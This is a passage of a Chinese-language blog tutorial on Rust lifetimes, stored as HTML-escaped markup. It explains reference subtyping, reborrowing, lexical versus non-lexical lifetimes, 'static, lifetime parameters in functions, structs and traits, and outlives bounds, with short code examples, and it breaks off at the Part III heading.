&lt;p&gt;这条规则可以这样理解，考虑&lt;code&gt;x = y&lt;&#x2F;code&gt;，若&lt;code&gt;x&lt;&#x2F;code&gt;的lifetime为&lt;code&gt;&#x27;b&lt;&#x2F;code&gt;，&lt;code&gt;y&lt;&#x2F;code&gt;的lifetime为&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;，则应当有&lt;code&gt;&#x27;a : &#x27;b&lt;&#x2F;code&gt;即&lt;code&gt;y&lt;&#x2F;code&gt;的有效期比&lt;code&gt;x&lt;&#x2F;code&gt;更长，否则若&lt;code&gt;y&lt;&#x2F;code&gt;已无效而从&lt;code&gt;y&lt;&#x2F;code&gt;派生的&lt;code&gt;x&lt;&#x2F;code&gt;仍有效，就会导致use-after-free的bug。由此可见，只有lifetime更长的引用可以赋值给lifetime更短的引用，反之则不行，这就说明了这条subtyping rule的合理性。&lt;&#x2F;p&gt;
&lt;p&gt;我们再来考察&lt;code&gt;let b = &amp;amp;mut *a;&lt;&#x2F;code&gt;这一行，RHS尽管是一个rvalue但它仍然应该有一个类型，实际上在Rust中任何表达式都应该被赋予一个类型。不妨将RHS的类型记作&lt;code&gt;&amp;amp;&#x27;r mut i32&lt;&#x2F;code&gt;，它需要满足&lt;code&gt;&#x27;r : &#x27;b&lt;&#x2F;code&gt;（subtyping rule）以及&lt;code&gt;&#x27;a : &#x27;r&lt;&#x2F;code&gt;（reborrow总是先expire）。在类型推导时，&lt;code&gt;&#x27;r&lt;&#x2F;code&gt;可以取任何满足&lt;code&gt;&#x27;a : &#x27;r : &#x27;b&lt;&#x2F;code&gt;的值，它不一定要和&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;或&lt;code&gt;&#x27;b&lt;&#x2F;code&gt;相等，也就是说borrow操作会引入一个独立的lifetime&lt;code&gt;&#x27;r&lt;&#x2F;code&gt;。某种程度上，我们可以将&lt;code&gt;&amp;amp;lvalue&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;&amp;amp;mut lvalue&lt;&#x2F;code&gt;看作是&lt;code&gt;&amp;amp;&#x27;r lvalue&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;&amp;amp;&#x27;r mut lvalue&lt;&#x2F;code&gt;的缩写，在创建一个新的引用的同时，也就引入了一个新的lifetime，这个lifetime就表示该引用可以有效使用的范围。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;下面再看这个例子：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;let new;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;{&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   let old = &amp;amp;mut x;   &#x2F;&#x2F; --+ lifetime of&lt;&#x2F;code&gt;old``&lt;br &#x2F;&gt;&lt;code&gt;    new = &amp;amp;*old;        &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}                       &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;use(new);               &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;&#x2F; &amp;lt;-------------------------+&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;尽管&lt;code&gt;old&lt;&#x2F;code&gt;在&lt;code&gt;use(new);&lt;&#x2F;code&gt;之前已经离开了作用域，可以认为被销毁了，但其lifetime实际上还是会延续到&lt;code&gt;use(new);&lt;&#x2F;code&gt;之后，以保证&lt;code&gt;old&lt;&#x2F;code&gt;的lifetime要大于&lt;code&gt;new&lt;&#x2F;code&gt;的lifetime，这是为了保证「borrow stack」的先进后出性质。&lt;&#x2F;p&gt;
&lt;p&gt;从这个例子我们可以看出，Rust类型系统中的「lifetime」只是一种近似。一个引用的「lifetime」必须包含一切该引用确实有效的code point，但也可以包含该引用实际上已经无效的code point。Rust编译器在进行borrow check时，只会根据引用类型中的lifetime信息来判断该引用是否有效，因此若lifetime比实际的要大，则编译器可能会拒绝一些按照borrow规则实际上正确的程序，但至少绝不会通过违反borrow规则的程序。&lt;&#x2F;p&gt;
&lt;p&gt;对于编译器拒绝实际上正确的程序，一个典型的例子如下，这个例子常被用于说明Rust 1.30版本及以前使用的Lexical Scope Lifetime的不足：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;fn foo() {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let mut data = vec![1, 2, 3];&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   let slice = &amp;amp;mut data[..];  &#x2F;&#x2F; &amp;lt;-+ lifetime of&lt;&#x2F;code&gt;slice``&lt;br &#x2F;&gt;&lt;code&gt;    capitalize(slice);          &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    data.push(&#x27;d&#x27;); &#x2F;&#x2F; ERROR!   &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    data.push(&#x27;e&#x27;); &#x2F;&#x2F; ERROR!   &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    data.push(&#x27;f&#x27;); &#x2F;&#x2F; ERROR!   &#x2F;&#x2F;   |&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;} &#x2F;&#x2F; &amp;lt;-------------------------------+&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;在1.30版本及以前，Rust中的lifetime是基于lexical scope的，lifetime必须一直延续到scope的末尾，例如上述代码中的&lt;code&gt;slice&lt;&#x2F;code&gt;的lifetime一直延续到了函数的末尾。注意到&lt;code&gt;data.push()&lt;&#x2F;code&gt;调用时也自动取了&lt;code&gt;data&lt;&#x2F;code&gt;的mutable引用，这个引用的lifetime与&lt;code&gt;slice&lt;&#x2F;code&gt;的lifetime重叠，于是编译器认为可能违反mutable引用的uniqueness性质，拒绝通过编译。&lt;&#x2F;p&gt;
&lt;p&gt;实际上我们知道这个程序显然是正确的，只是由于lifetime取得太大导致编译器误以为程序会违反borrow规则。只需令&lt;code&gt;slice&lt;&#x2F;code&gt;的lifeitme在&lt;code&gt;capitalize(slice);&lt;&#x2F;code&gt;这一行结束，就能避免borrow checker错误地拒绝该程序。为了解决这类问题，从1.31版本起引入了Non-Lexical Lifetime (NLL)，支持非lexical scope的lifetime，使编译器可以接受更多正确的程序。当然，NLL也仍有缺陷，有时推导出的lifetime还是会太大，导致拒绝正确的程序，因此Rust团队还在不断改进lifetime和borrow check的机制。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;值得指出的是，无论是NLL还是更进一步的改进，都仍局限于静态分析，这种编译期的分析必然会拒绝一些运行时不违反borrow规则的代码，例如以下代码：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;fn f(condition: bool, outer: &amp;amp;i32) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let mut _a = 0i32;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let parent = &amp;amp;mut _a;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    let y;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        let x;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        if condition {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            x = &amp;amp;*parent;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;            y = outer;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        } else {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;           y = &amp;amp;*parent;           &#x2F;&#x2F;&lt;&#x2F;code&gt;parent&lt;code&gt; is borrowed here&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   if condition { *parent = 10 }   &#x2F;&#x2F; ERROR!&lt;&#x2F;code&gt;parent&lt;code&gt; is already borrowed&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    println!(&quot;{}&quot;, y);              &#x2F;&#x2F; borrow used here&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;我们知道&lt;code&gt;*parent = 10&lt;&#x2F;code&gt;这一句若得到执行，则一定是取&lt;code&gt;condition = true&lt;&#x2F;code&gt;，那么此时&lt;code&gt;parent&lt;&#x2F;code&gt;的reborrow&lt;code&gt;x&lt;&#x2F;code&gt;已经expire，而&lt;code&gt;y&lt;&#x2F;code&gt;不是&lt;code&gt;parent&lt;&#x2F;code&gt;的reborrow，因此该赋值语句是合法的。但目前的NLL无法分析出函数中两个&lt;code&gt;if&lt;&#x2F;code&gt;语句的联系，它会认为&lt;code&gt;parent&lt;&#x2F;code&gt;已经在&lt;code&gt;y = &amp;amp;*parent&lt;&#x2F;code&gt;一句被reborrow（因为编译器认为&lt;code&gt;&amp;amp;&#x27;y *parent&lt;&#x2F;code&gt;的lifetime&lt;code&gt;&#x27;y&lt;&#x2F;code&gt;延续到了&lt;code&gt;println!(&quot;{}&quot;, y)&lt;&#x2F;code&gt;这一行），因此不能进行赋值。&lt;&#x2F;p&gt;
&lt;p&gt;这个例子是trival的，可以用一个简单的heuristic来处理，但一般来说这类问题是无法在编译期彻底解决的，例如我可以在一个循环中检查数学定理，并通过某种方式将其和lifetime联系起来，编译器不可能知道数学定理是必然正确的，它就不可能作出正确的判断。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lifetime-part-ii-lifetime-parameter&quot;&gt;Lifetime Part II. Lifetime Parameter&lt;&#x2F;h2&gt;
&lt;p&gt;在Rust中，只有一种concrete lifetime可以通过代码指定，即&lt;code&gt;&#x27;static&lt;&#x2F;code&gt;，表示lifetime贯穿整个程序执行过程，即全局变量。实际上Rust中有全局变量的概念，称为static变量，它们都具有&lt;code&gt;&#x27;static&lt;&#x2F;code&gt;lifetime：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;static x: T = expr;&lt;&#x2F;code&gt;: 与constant声明类似，必须写明类型，所有对&lt;code&gt;x&lt;&#x2F;code&gt;的引用的lifetime都将是static的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;static变量必须是&lt;code&gt;Sync&lt;&#x2F;code&gt;的，这样才能保证其能安全地被多个线程共享&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;static mut x: T = expr;&lt;&#x2F;code&gt;: static变量可以是mutable的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;对mutable static变量的访问必须在&lt;code&gt;unsafe&lt;&#x2F;code&gt;块中进行，因为有可能引入race condition&lt;&#x2F;li&gt;
&lt;li&gt;即使是读取也必须在&lt;code&gt;unsafe&lt;&#x2F;code&gt;块中进行，以避免data race，因此mutable static变量不需要实现&lt;code&gt;Sync&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;此外，string literal默认拥有&lt;code&gt;&#x27;static&lt;&#x2F;code&gt; lifetime，例如&lt;code&gt;let a = &quot;asdf&quot;;&lt;&#x2F;code&gt;实际上相当于&lt;code&gt;let a: &amp;amp;&#x27;static str = &quot;asdf&quot;;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;对于type，我们可以有无数的concrete type，但对于lifetime，我们不能指定除&lt;code&gt;&#x27;static&lt;&#x2F;code&gt;外的concrete lifetime。因为这一重要区别，Rust专门提供了在generic中引入bounded lifetime variable的方法，即&lt;code&gt;&amp;lt;&#x27;a, T&amp;gt;&lt;&#x2F;code&gt;这样的写法，并将如此引入的lifetime variable称为&lt;em&gt;lifetime parameter&lt;&#x2F;em&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;应当认识到lifetime本质上仅仅是type的组成部分，理论上不提供单独指定lifetime variable的方式也是可以的，即lifetime蕴含在type variable &lt;code&gt;T&lt;&#x2F;code&gt;中。通过提供lifetime parameter机制，实际上是将lifetime抬到了和type平起平坐的地位，可以视为两种kind了（即&lt;code&gt;LT&lt;&#x2F;code&gt;和&lt;code&gt;*&lt;&#x2F;code&gt;，例如&lt;code&gt;Struct&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt;的kind为&lt;code&gt;LT -&amp;gt; *&lt;&#x2F;code&gt;）&lt;&#x2F;p&gt;
&lt;p&gt;当函数有引用或trait object作为参数或返回值时，需要提供lifetime parameter（除非lifetime显式指定为&lt;code&gt;&#x27;static&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;fn f&amp;lt;&#x27;a, &#x27;b&amp;gt;(x: &amp;amp;&#x27;a i32, y: &amp;amp;&#x27;b i32)&lt;&#x2F;code&gt;: 可以引入任意多个lifetime parameter&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;fn f&amp;lt;&#x27;a&amp;gt;(x: &amp;amp;&#x27;a i32, y: &amp;amp;&#x27;a i32) -&amp;gt; &amp;amp;&#x27;a i32&lt;&#x2F;code&gt;: 两个引用使用同一个lifetime parameter，就构成了对类型推导的一种约束&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;因为函数实际调用时我们通常无法指定&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;，&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;是由类型推导得来的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;函数体中可以使用&lt;code&gt;let r: &amp;amp;&#x27;a i32 = &amp;amp;0i32;&lt;&#x2F;code&gt;这样的声明，因为&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;已经作为bounded lifetime variable引入到了当前的context&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;lifetime parameter甚至可以不出现在参数和返回值中，而只是用来引入一个lifetime variable，如&lt;code&gt;fn f&amp;lt;&#x27;a&amp;gt;()&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在struct、enum的定义中出现引用或trait obejct时，也需要提供lifetime parameter（除非lifetime显式指定为&lt;code&gt;&#x27;static&lt;&#x2F;code&gt;），如：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;struct A&amp;lt;&#x27;a, &#x27;b&amp;gt; { x: &amp;amp;&#x27;a i32, y: &amp;amp;&#x27;b i32 }&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;对应的impl也要有lifetime parameter：&lt;code&gt;impl&amp;lt;&#x27;a, &#x27;b&amp;gt; A&amp;lt;&#x27;a, &#x27;b&amp;gt; {}&lt;&#x2F;code&gt;，或写作&lt;code&gt;impl A&amp;lt;&#x27;_, &#x27;_&amp;gt; {}&lt;&#x2F;code&gt;，两者等价&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在trait定义中可以使用lifetime parameter，例如&lt;code&gt;trait Trait&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt;，对应的impl trait中也要有lifetime parameter如&lt;code&gt;impl&amp;lt;&#x27;a&amp;gt; Trait&amp;lt;&#x27;a&amp;gt; for i32&lt;&#x2F;code&gt;。另外，在impl trait中也可以这样的形式引入lifetime parameter：&lt;code&gt;impl&amp;lt;&#x27;a&amp;gt; Trait for Struct&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;带有lifetime parameter的trait看似没有用，实际上可以为其method引入early-bound lifetime parameter，下面这个来自&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;29975854&#x2F;what-does-it-mean-for-a-trait-to-have-a-lifetime-parameter&quot;&gt;Stackoverflow&lt;&#x2F;a&gt;的例子能很好地说明这个问题。&lt;&#x2F;p&gt;
&lt;p&gt;假设我们有如下代码：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;struct SimpleKeeper&amp;lt;&#x27;a&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    val: &amp;amp;&#x27;a u8,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;impl&amp;lt;&#x27;a&amp;gt; SimpleKeeper&amp;lt;&#x27;a&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fn save(&amp;amp;mut self, v: &amp;amp;&#x27;a u8) { self.val = v }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fn restore(&amp;amp;self) -&amp;gt; &amp;amp;&#x27;a u8 { self.val }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;利用带有lifetime parameter的trait，可以generalize如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;trait Keeper&amp;lt;&#x27;a&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fn save(&amp;amp;mut self, v: &amp;amp;&#x27;a u8);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fn restore(&amp;amp;self) -&amp;gt; &amp;amp;&#x27;a u8;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;struct SimpleKeeper&amp;lt;&#x27;a&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    val: &amp;amp;&#x27;a u8,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;impl&amp;lt;&#x27;a&amp;gt; Keeper&amp;lt;&#x27;a&amp;gt; for SimpleKeeper&amp;lt;&#x27;a&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fn save(&amp;amp;mut self, v: &amp;amp;&#x27;a u8) { self.val = v }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fn restore(&amp;amp;self) -&amp;gt; &amp;amp;&#x27;a u8 { self.val }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;这样，假设后来又引入了&lt;code&gt;ComplexKeeper&amp;lt;&#x27;a, &#x27;b, T&amp;gt;&lt;&#x2F;code&gt;，我们可以为其实现&lt;code&gt;impl&amp;lt;&#x27;a, &#x27;b, T&amp;gt; Keeper&amp;lt;&#x27;a&amp;gt; for ComplexKeeper&amp;lt;&#x27;a, &#x27;b, T&amp;gt;&lt;&#x2F;code&gt;，将&lt;code&gt;ComplexKeeper&amp;lt;&#x27;a, &#x27;b, T&amp;gt;&lt;&#x2F;code&gt;和&lt;code&gt;SimpleKeeper&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt;统一抽象为&lt;code&gt;Keeper&amp;lt;&#x27;a&amp;gt;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;引入lifetime parameter后，type bound规则也要相应增加：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&#x27;a: &#x27;b&lt;&#x2F;code&gt;: 表示&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;必须outlive&lt;code&gt;&#x27;b&lt;&#x2F;code&gt;，例如&lt;code&gt;fn f&amp;lt;&#x27;a, &#x27;b&amp;gt;(x: &amp;amp;&#x27;a i32, y: &amp;amp;&#x27;b i32) where &#x27;a: &#x27;b&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt;: 表示&lt;code&gt;T&lt;&#x2F;code&gt;必须outlive&lt;code&gt;&#x27;b&lt;&#x2F;code&gt;，例如&lt;code&gt;fn f&amp;lt;&#x27;a, T&amp;gt;(x: &amp;amp;&#x27;a i32, y: T) where T: &#x27;a&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;其中&lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt;的具体含义是&lt;code&gt;T&lt;&#x2F;code&gt;中出现的所有lifetime variable都要outlive&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;例如&lt;code&gt;&#x27;r: &#x27;a&lt;&#x2F;code&gt;且&lt;code&gt;U: &#x27;a&lt;&#x2F;code&gt;时，&lt;code&gt;&amp;amp;&#x27;r U: &#x27;a&lt;&#x2F;code&gt;、&lt;code&gt;S&amp;lt;&#x27;r&amp;gt;: &#x27;a&lt;&#x2F;code&gt;成立&lt;&#x2F;li&gt;
&lt;li&gt;若&lt;code&gt;T&lt;&#x2F;code&gt;不含lifetime variable，则&lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt;是vacuously true的，例如&lt;code&gt;i32: &#x27;a&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这条规则最常见的用途就是用于指定&lt;code&gt;&amp;amp;&#x27;a T&lt;&#x2F;code&gt;中&lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt;，因为被引用者的lifetime必须要比引用长。事实上在struct中若不提供此type bound是无法通过编译的，例如：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;struct Ref&amp;lt;&#x27;a, T: &#x27;a&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    r: &amp;amp;&#x27;a T&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;在1.30版本及以前，不写&lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt;是无法通过编译的，在1.31版本及以后，编译器添加了自动推导&lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt;类型约束的功能，我们便可以不需要每次都写上&lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt;了。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;lifetime-part-iii-lifetime-polymorphic-types&quot;&gt;Lifetime Part III. Lifetime Polymorphic Types&lt;&#x2F;h2&gt;
